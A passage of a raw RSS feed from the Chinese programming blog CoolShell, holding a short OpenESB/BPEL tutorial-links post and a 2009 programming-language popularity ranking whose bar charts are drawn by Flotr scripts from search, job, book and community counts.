srcset=\"https://coolshell.cn/wp-content/uploads/2009/04/snake.jpg 420w, https://coolshell.cn/wp-content/uploads/2009/04/snake-300x243.jpg 300w, https://coolshell.cn/wp-content/uploads/2009/04/snake-334x270.jpg 334w\" sizes=\"(max-width: 420px) 100vw, 420px\" /></a></p>\n<p>：）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/737.html\">某Python实现的尾部递归</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/737.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Glassfish ESB 的教程</title>\n\t\t<link>https://coolshell.cn/articles/732.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/732.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Wed, 29 Apr 2009 06:18:27 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ESB]]></category>\n\t\t<category><![CDATA[Glassfish]]></category>\n\t\t<category><![CDATA[OpenESB]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=732</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>OpenESB项目实现了一个运行期企业服务总线(Enterprise Service Bus:ESB)使用JBI(Java业务集成)作为核心基础。OpenESB...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/732.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/732.html\">Glassfish ESB 的教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"https://open-esb.dev.java.net/\" target=\"_blank\">OpenESB</a>项目实现了一个运行期企业服务总线(Enterprise Service Bus:ESB)使用JBI(Java业务集成)作为核心基础。OpenESB可以让你集成企业应用与Web Service松散地连接成复合的应用程序。这使得你可以无缝地组合与拆解该复合应用程序，并认识到一个真正面向服务架构(SOA)的优点。</p>\n<p>BPEL是一种编程语言，它明确定义了基于Web服务的业务流程。BPEL在支持业务伙伴间的长时间会话方面表现尤为卓越。BPEL将成为基于Web服务的业务流程最广泛采用的标准，这一趋势早在该标准正式发布前就已经非常明显。</p>\n<p>BPEL适用于支持业务流程逻辑的“宏观编程”。这些业务流程均是完整而独立的应用，它们将Web服务作为实现其业务功能的“活动”。BPEL不致力于成为通用的编程语言，相反，它的应用设想就是与其他实现业务功能（“微观编程”）的编程语言结合使用。</p>\n<p><span id=\"more-732\"></span></p>\n<p>OpenESB上有一些BPEL教程都是非常有趣的，下面一些教程的例子：</p>\n<p><a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro1.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro1.swf</a><br />\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro2.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro2.swf</a><br />\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro3.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro3.swf</a><br />\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro4.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/openesbIntro4.swf</a><br />\n<a href=\"http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/gfesbTute5-annotated.swf\">http://wiki.open-esb.java.net/attach/OpenESBIntroductionTutorial/gfesbTute5-annotated.swf</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/2681.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"Kent Beck 谈单元测试和持续部署\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2681.html\" class=\"wp_rp_title\">Kent Beck 谈单元测试和持续部署</a></li><li ><a href=\"https://coolshell.cn/articles/25.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"如何上网觅无踪\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/25.html\" class=\"wp_rp_title\">如何上网觅无踪</a></li><li ><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/get_more_web_traffic-150x150.jpg\" alt=\"十个免费的Web压力测试工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2589.html\" class=\"wp_rp_title\">十个免费的Web压力测试工具</a></li><li ><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/07/androidappinventor-150x150.jpg\" alt=\"Google App Inventor \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2608.html\" class=\"wp_rp_title\">Google App Inventor </a></li><li ><a href=\"https://coolshell.cn/articles/6346.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/01/481px-Ada_Lovelace_1838-150x150.jpg\" alt=\"程序员因为女孩而美丽！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6346.html\" class=\"wp_rp_title\">程序员因为女孩而美丽！</a></li><li ><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"一个浮点数跨平台产生的问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11235.html\" class=\"wp_rp_title\">一个浮点数跨平台产生的问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/732.html\">Glassfish ESB 的教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/732.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>编程语言流行度排名</title>\n\t\t<link>https://coolshell.cn/articles/706.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/706.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 28 Apr 2009 09:44:49 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[programming language]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=706</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面的这些排名并不是非常科学的，它们只是从某种方面表现出了编程语言的流行程度。仅供参考。 Yahoo Search 这里，我们使用了Yahoo Search A...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/706.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/706.html\">编程语言流行度排名</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面的这些排名并不是非常科学的，它们只是从某种方面表现出了编程语言的流行程度。仅供参考。</p>\n<p><script src=\"http://www.langpop.com/javascripts/chartr.js\" type=\"text/javascript\"></script><br />\n<strong>Yahoo Search</strong><br />\n这里，我们使用了Yahoo Search API，简单地搜索了一下相关的编程语言。收搜字样是&#8221;language programming&#8221;，下面是搜索到的页面结果。也许这能够说明语言的流行程度。 </p>\n<div id=\"search_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n      Flotr.draw($('search_results'), [[[33100.0, 1], [96800.0, 2], [105000.0, 3], [107000.0, 4], [109000.0, 5], [122000.0, 6], [287000.0, 7], [318000.0, 8], [339000.0, 9], [347000.0, 10], [357000.0, 11], [385000.0, 12], [397000.0, 13], [479000.0, 14], [678000.0, 15], [1900000.0, 16], [2000000.0, 17], [2210000.0, 18], [2250000.0, 19], [2430000.0, 20], [2530000.0, 21], [3340000.0, 22], [3360000.0, 23], [3430000.0, 24], [4730000.0, 25], [7350000.0, 26], [7350000.0, 27], [15500000.0, 28], [16900000.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"OCaml\"], [2.4, \"Haskell\"], [3.4, \"Erlang\"], [4.4, \"Smalltalk\"], [5.4, \"Forth\"], [6.4, \"Tcl\"], [7.4, \"Ada\"], [8.4, \"Scheme\"], [9.4, \"Fortran\"], [10.4, \"Actionscript\"], [11.4, \"Lisp\"], [12.4, \"Cobol\"], [13.4, \"Lua\"], [14.4, \"Assembly\"], [15.4, \"Pascal\"], [16.4, \"SQL\"], [17.4, \"Shell\"], [18.4, \"Ruby\"], [19.4, \"Delphi\"], [20.4, \"D\"], [21.4, \"C#\"], [22.4, \"JavaScript\"], [23.4, \"Perl\"], [24.4, \"Python\"], [25.4, \"Visual\\u0026nbsp;Basic\"], [26.4, \"C++\"], [27.4, \"PHP\"], [28.4, \"Java\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><span id=\"more-706\"></span></p>\n<p><strong>工作相关</strong><br />\n接下来，我们来看看与工作相关的页面。也是从Yahoo Search API中从Craigslist.org网站中取得这些数据。搜索模型如下：language programmer -&#8220;job wanted&#8221; site:craigslist.org。这个结果可以看到全球的雇主在雇佣技术人员的时候所要求的编程语言的数量分布。</p>\n<div id=\"craigslist_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n      Flotr.draw($('craigslist_results'), [[[0.0, 1], [1.0, 2], [1.0, 3], [3.0, 4], [4.0, 5], [4.0, 6], [7.0, 7], [9.0, 8], [10.0, 9], [10.0, 10], [14.0, 11], [14.0, 12], [15.0, 13], [65.0, 14], [127.0, 15], [148.0, 16], [220.0, 17], [268.0, 18], [280.0, 19], [311.0, 20], [406.0, 21], [476.0, 22], [723.0, 23], [913.0, 24], [1110.0, 25], [1380.0, 26], [1760.0, 27], [1820.0, 28], [2210.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"D\"], [2.4, \"Haskell\"], [3.4, \"OCaml\"], [4.4, \"Smalltalk\"], [5.4, \"Erlang\"], [6.4, \"Tcl\"], [7.4, \"Lua\"], [8.4, \"Lisp\"], [9.4, \"Fortran\"], [10.4, \"Scheme\"], [11.4, \"Ada\"], [12.4, \"Forth\"], [13.4, \"Pascal\"], [14.4, \"Delphi\"], [15.4, \"Cobol\"], [16.4, \"Shell\"], [17.4, \"Assembly\"], [18.4, \"Visual\\u0026nbsp;Basic\"], [19.4, \"Python\"], [20.4, \"Ruby\"], [21.4, \"Perl\"], [22.4, \"Actionscript\"], [23.4, \"C++\"], [24.4, \"C#\"], [25.4, \"JavaScript\"], [26.4, \"Java\"], [27.4, \"C\"], [28.4, \"SQL\"], [29.4, \"PHP\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><strong>技术书籍</strong><br />\n下面是由Amason所提供的搜索API中得到的目前出版物中的编程语言相关的统计数据，一般来说，越流行的语言通常会有更多的书籍。我们来看看书籍方面的各语言的书籍数量的排行榜。</p>\n<div id=\"amazon_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n      Flotr.draw($('amazon_results'), [[[0.0, 1], [2.0, 2], [12.0, 3], [17.0, 4], [49.0, 5], [74.0, 6], [93.0, 7], [125.0, 8], [133.0, 9], [136.0, 10], [147.0, 11], [181.0, 12], [188.0, 13], [227.0, 14], [375.0, 15], [405.0, 16], [700.0, 17], [727.0, 18], [744.0, 19], [847.0, 20], [907.0, 21], [925.0, 22], [949.0, 23], [1192.0, 24], [1452.0, 25], [2317.0, 26], [2666.0, 27], [3694.0, 28], [7443.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"D\"], [2.4, \"OCaml\"], [3.4, \"Erlang\"], [4.4, \"Lua\"], [5.4, \"Haskell\"], [6.4, \"Forth\"], [7.4, \"Smalltalk\"], [8.4, \"Actionscript\"], [9.4, \"Scheme\"], [10.4, \"Shell\"], [11.4, \"Ruby\"], [12.4, \"Delphi\"], [13.4, \"Python\"], [14.4, \"Lisp\"], [15.4, \"PHP\"], [16.4, \"Ada\"], [17.4, \"Perl\"], [18.4, \"Cobol\"], [19.4, \"Assembly\"], [20.4, \"JavaScript\"], [21.4, \"Fortran\"], [22.4, \"C#\"], [23.4, \"Tcl\"], [24.4, \"Pascal\"], [25.4, \"SQL\"], [26.4, \"C++\"], [27.4, \"Visual\\u0026nbsp;Basic\"], [28.4, \"Java\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><strong>Google Code 开源项目</strong><br />\n下面的结果取自Googel Code (http://www.google.com/codesearch)，我们通过统计开源项目所使用的语言来查看是哪种语言在开源项目中的流行程度。</p>\n<div id=\"googlecode_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n    Flotr.draw($('googlecode_results'), [[[4000.0, 1], [9000.0, 2], [44600.0, 3], [47600.0, 4], [87200.0, 5], [91100.0, 6], [154000.0, 7], [157000.0, 8], [173000.0, 9], [202000.0, 10], [219000.0, 11], [295000.0, 12], [296000.0, 13], [359000.0, 14], [363000.0, 15], [370000.0, 16], [422000.0, 17], [429000.0, 18], [429000.0, 19], [567000.0, 20], [865000.0, 21], [1070000.0, 22], [1490000.0, 23], [1730000.0, 24], [1800000.0, 25], [3680000.0, 26], [8400000.0, 27], [9800000.0, 28], [11300000.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Forth\"], [2.4, \"Cobol\"], [3.4, \"D\"], [4.4, \"Erlang\"], [5.4, \"Haskell\"], [6.4, \"Ada\"], [7.4, \"OCaml\"], [8.4, \"Lua\"], [9.4, \"Scheme\"], [10.4, \"Tcl\"], [11.4, \"Actionscript\"], [12.4, \"Lisp\"], [13.4, \"Visual\\u0026nbsp;Basic\"], [14.4, \"SQL\"], [15.4, \"Assembly\"], [16.4, \"Fortran\"], [17.4, \"Smalltalk\"], [18.4, \"Delphi\"], [19.4, \"Pascal\"], [20.4, \"JavaScript\"], [21.4, \"Ruby\"], [22.4, \"Shell\"], [23.4, \"Python\"], [24.4, \"C#\"], [25.4, \"Perl\"], [26.4, \"PHP\"], [27.4, \"C++\"], [28.4, \"Java\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><strong>Del.icio.us</strong><br />\ndel.icio.us是一个网摘网站，它提供的是一种收藏、分类、排序、分享互联网信息资源的方式。使用它存储网址和相关信息列表，使用标签(Tag)对网址进行索引使网址资源有序分类和索引，使网址及相关信息的社会性分享成为可能，在分享的人为参与的过程中网址的价值被给予评估。我们来看看BLOG社区中语言流行的程度。</p>\n<div id=\"delicious_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n    Flotr.draw($('delicious_results'), [[[819.0, 1], [1405.0, 2], [2149.0, 3], [2835.0, 4], [2853.0, 5], [3044.0, 6], [3346.0, 7], [6041.0, 8], [6209.0, 9], [7840.0, 10], [8302.0, 11], [10009.0, 12], [11621.0, 13], [20318.0, 14], [26444.0, 15], [29016.0, 16], [31006.0, 17], [43919.0, 18], [51868.0, 19], [66527.0, 20], [71562.0, 21], [252024.0, 22], [252235.0, 23], [270101.0, 24], [270102.0, 25], [270102.0, 26], [283579.0, 27], [371783.0, 28], [428578.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Cobol\"], [2.4, \"Ada\"], [3.4, \"Pascal\"], [4.4, \"Tcl\"], [5.4, \"Fortran\"], [6.4, \"D\"], [7.4, \"Forth\"], [8.4, \"Lua\"], [9.4, \"OCaml\"], [10.4, \"Delphi\"], [11.4, \"Visual\\u0026nbsp;Basic\"], [12.4, \"Assembly\"], [13.4, \"Smalltalk\"], [14.4, \"Erlang\"], [15.4, \"Scheme\"], [16.4, \"Shell\"], [17.4, \"Haskell\"], [18.4, \"Actionscript\"], [19.4, \"SQL\"], [20.4, \"Lisp\"], [21.4, \"Perl\"], [22.4, \"Ruby\"], [23.4, \"PHP\"], [24.4, \"C++\"], [25.4, \"C\"], [26.4, \"C#\"], [27.4, \"Python\"], [28.4, \"Java\"], [29.4, \"JavaScript\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><strong>Ohloh 开源项目</strong></p>\n<p>让我们再来看一下<a href=\"http://www.ohloh.net/\">Ohloh</a> 上的开源项目所使用的编程语言的统计图。</p>\n<div id=\"ohloh_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n    Flotr.draw($('ohloh_results'), [[[0.0, 1], [0.0, 2], [254.0, 3], [287.0, 4], [333.0, 5], [402.0, 6], [585.0, 7], [618.0, 8], [981.0, 9], [1006.0, 10], [1092.0, 11], [1139.0, 12], [1139.0, 13], [1187.0, 14], [1502.0, 15], [1611.0, 16], [1813.0, 17], [3893.0, 18], [5213.0, 19], [5639.0, 20], [9612.0, 21], [14432.0, 22], [14523.0, 23], [16064.0, 24], [20234.0, 25], [24249.0, 26], [26223.0, 27], [26832.0, 28], [37028.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Cobol\"], [2.4, \"Forth\"], [3.4, \"Smalltalk\"], [4.4, \"Erlang\"], [5.4, \"Ada\"], [6.4, \"OCaml\"], [7.4, \"Fortran\"], [8.4, \"Lisp\"], [9.4, \"Haskell\"], [10.4, \"Visual\\u0026nbsp;Basic\"], [11.4, \"D\"], [12.4, \"Pascal\"], [13.4, \"Delphi\"], [14.4, \"Scheme\"], [15.4, \"Actionscript\"], [16.4, \"Tcl\"], [17.4, \"Lua\"], [18.4, \"Assembly\"], [19.4, \"C#\"], [20.4, \"Ruby\"], [21.4, \"SQL\"], [22.4, \"PHP\"], [23.4, \"Perl\"], [24.4, \"Python\"], [25.4, \"JavaScript\"], [26.4, \"Java\"], [27.4, \"C++\"], [28.4, \"Shell\"], [29.4, \"C\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><strong>programming.reddit.com</strong><br />\n我们再来看看聚合网站programming.reddit.com上的编程语言文章统计情况。</p>\n<div id=\"reddit_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n    Flotr.draw($('reddit_results'), [[[0.0, 1], [0.0, 2], [0.0, 3], [0.0, 4], [0.0, 5], [0.0, 6], [0.0, 7], [1.0, 8], [2.0, 9], [3.0, 10], [3.0, 11], [4.0, 12], [5.0, 13], [11.0, 14], [11.0, 15], [14.0, 16], [21.0, 17], [22.0, 18], [24.0, 19], [28.0, 20], [31.0, 21], [33.0, 22], [38.0, 23], [67.0, 24], [70.0, 25], [72.0, 26], [93.0, 27], [108.0, 28], [115.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"Actionscript\"], [2.4, \"Ada\"], [3.4, \"D\"], [4.4, \"Delphi\"], [5.4, \"Fortran\"], [6.4, \"Lua\"], [7.4, \"Visual\\u0026nbsp;Basic\"], [8.4, \"Pascal\"], [9.4, \"Cobol\"], [10.4, \"Assembly\"], [11.4, \"SQL\"], [12.4, \"Forth\"], [13.4, \"Tcl\"], [14.4, \"OCaml\"], [15.4, \"Shell\"], [16.4, \"C#\"], [17.4, \"Smalltalk\"], [18.4, \"Scheme\"], [19.4, \"PHP\"], [20.4, \"Perl\"], [21.4, \"JavaScript\"], [22.4, \"Erlang\"], [23.4, \"C++\"], [24.4, \"Java\"], [25.4, \"Ruby\"], [26.4, \"Haskell\"], [27.4, \"Lisp\"], [28.4, \"C\"], [29.4, \"Python\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><strong>Slashdot</strong><br />\n我们来看看Slashdot.org上的编程语言的排名情况吧。还是主要根据相关的贴子的数量做统计。</p>\n<div id=\"slashdot_results\" style=\"width:600px;height:350px\">　　</div>\n<p><script type=\"text/javascript\"><!--\n    Flotr.draw($('slashdot_results'), [[[0.0, 1], [1.0, 2], [2.0, 3], [3.0, 4], [3.0, 5], [3.0, 6], [4.0, 7], [4.0, 8], [4.0, 9], [6.0, 10], [7.0, 11], [7.0, 12], [9.0, 13], [10.0, 14], [12.0, 15], [15.0, 16], [16.0, 17], [25.0, 18], [30.0, 19], [43.0, 20], [45.0, 21], [49.0, 22], [55.0, 23], [56.0, 24], [56.0, 25], [76.0, 26], [78.0, 27], [128.0, 28], [166.0, 29]]], {\"yaxis\": {\"ticks\": [[1.4, \"OCaml\"], [2.4, \"Haskell\"], [3.4, \"Tcl\"], [4.4, \"Actionscript\"], [5.4, \"Smalltalk\"], [6.4, \"Delphi\"], [7.4, \"D\"], [8.4, \"Lua\"], [9.4, \"Erlang\"], [10.4, \"Ada\"], [11.4, \"Fortran\"], [12.4, \"Pascal\"], [13.4, \"Forth\"], [14.4, \"Cobol\"], [15.4, \"Assembly\"], [16.4, \"C#\"], [17.4, \"Lisp\"], [18.4, \"Visual\\u0026nbsp;Basic\"], [19.4, \"Scheme\"], [20.4, \"Shell\"], [21.4, \"SQL\"], [22.4, \"C++\"], [23.4, \"Ruby\"], [24.4, \"JavaScript\"], [25.4, \"Python\"], [26.4, \"PHP\"], [27.4, \"Perl\"], [28.4, \"C\"], [29.4, \"Java\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});\n// --></script></p>\n<p><strong>IRC</strong><br />\n这里的数据来源于<a href=\"http://freenode.net/\">Freenode</a> <a href=\"http://en.wikipedia.org/wiki/IRC\">IRC</a>网络。</p>\n<div id=\"irc_results\" style=\"width:600px;height:350px\">　　</div>\n<p>  <script type=\"text/javascript\"><!--\n    Flotr.draw($('irc_results'), [[[1.0, 1], [3.82916666666667, 2], [4.18333333333333, 3], [6.29583333333333, 4], [9.37083333333333, 5], [9.68879668049792, 6], [18.5082644628099, 7], [19.8416666666667, 8], [20.4, 9], [34.8375, 10], [43.9709543568465, 11], [46.5714285714286, 12], [63.0416666666667, 13], [80.9833333333333, 14], [83.0916666666667, 15], [85.9834710743802, 16], [157.504166666667, 17], [159.6875, 18], [176.933333333333, 19], [185.425, 20], [230.8875, 21], [245.607438016529, 22], [248.216666666667, 23], [257.734439834025, 24], [281.399141630901, 25], [311.260330578512, 26], [348.575, 27], [371.645833333333, 28]]], {\"yaxis\": {\"ticks\": [[1.4, \"Cobol\"], [2.4, \"Pascal\"], [3.4, \"Delphi\"], [4.4, \"Fortran\"], [5.4, \"Visual\\u0026nbsp;Basic\"], [6.4, \"Actionscript\"], [7.4, \"Smalltalk\"], [8.4, \"Forth\"], [9.4, \"Ada\"], [10.4, \"Tcl\"], [11.4, \"Assembly\"], [12.4, \"OCaml\"], [13.4, \"Lua\"], [14.4, \"Scheme\"], [15.4, \"Erlang\"], [16.4, \"SQL\"], [17.4, \"JavaScript\"], [18.4, \"Lisp\"], [19.4, \"Ruby\"], [20.4, \"Shell\"], [21.4, \"Perl\"], [22.4, \"C#\"], [23.4, \"Haskell\"], [24.4, \"C\"], [25.4, \"C++\"], [26.4, \"Java\"], [27.4, \"PHP\"], [28.4, \"Python\"]]}, \"bars\": {\"horizontal\": true, \"show\": true, \"barWidth\": 0.8}});  \n//--></script></p>\n<p>最后，如果你对其中的某些语言不是很熟悉的话，下面是维基百科上关于这些语言的链接。</p>\n<li><a href=\"http://en.wikipedia.org/wiki/Actionscript\">Actionscript</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Ada_(programming_language)\">Ada</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Assembly_language\">Assembly</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/C_(programming_language)\">C</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/C_Sharp_(programming_language)\">C#</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/C%2B%2B\">C++</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Cobol\">Cobol</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/D_(programming_language)\">D</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Delphi_programming_language\">Delphi</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Erlang_(programming_language)\">Erlang</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Forth_(programming_language)\">Forth</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Fortran\">Fortran</a></li>\n<li><a href=\"http://en.wikipedia.org/wiki/Haskell_(programming_language)\">Haskell</a></li>\n<li><a 